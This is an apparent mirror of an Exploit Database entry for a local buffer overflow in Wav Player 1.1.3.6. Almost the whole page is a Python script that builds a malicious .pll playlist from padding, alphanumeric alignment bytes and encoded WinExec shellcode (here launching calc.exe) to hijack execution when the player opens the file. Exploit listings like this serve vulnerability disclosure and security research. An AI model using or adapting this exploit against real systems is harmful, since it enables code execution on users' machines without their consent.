Wav Player 1.1.3.6 – ‘.pll’ Local Buffer Overflow

• Exploit Database
• 8 阅读

• 作者： Iván García Ferreira
  日期： 2011-09-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17821/

• # Exploit Title: wav player 1.1.3.6 .pll Buffer Overflow
  # Date: 12/09/2011
  # Author: Ivan Garcia Ferreira
  # Version: 1.1.3.6
  # Tested on: Windows 7 SP1 x86 Spanish
  #
  # Description:
  # Wav player can not handle properly large playlists (more than 1G). 
  # Reproduce:
  # Open the wav player, make a playlist and save it. Then, close the 
  # player and run this exploit to create the new playlist. When you open again 
  # wav player, you will see the calc. ;)
  #
  # Thanks to:
  # Corelan Team for their excelent articles about exploits
  
  fichero = open("wv_player.pll", "w")
  print "[+] Creating exploit .pll..."
  
  fichero.write("A"*1034) # Padding
  
  fichero.write("t%dA")#help the first ret
  fichero.write("\x6d")#nop/align
  fichero.write("\x55")#push ebp
  fichero.write("\x6d")#nop/align
  fichero.write("\x58")#pop eax
  fichero.write("\x6d")#pop/align
  fichero.write("\x05\x14\x11") #add eax,0x11001400
  fichero.write("\x6d")#pop/align
  fichero.write("\x2d\x04\x11") #sub eax,0x11001300
  fichero.write("\x6d")#pop/align
  
  fichero.write("\x50")#push eax
  fichero.write("\x6d") #nop/align
  fichero.write("\xc3") #ret
  
  fichero.write("B"*306) # more padding
  
  # Shellcode WinExec "calc.exe"
  fichero.write("PPYAIAIAIAIAQATAXAZAPA3QADAZA" +
  "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" +
  "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" +
  "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" +
  "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" +
  "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" +
  "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" +
  "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" +
  "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" +
  "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" +
  "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" +
  "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" +
  "QQ2LRCM0LJA")
  
  # Padding to get the crash
  for cont in range(1,14000):
  	fichero.write("A"*15000)
  fichero.close()
  
  print "[+] File Exploit .pll Created."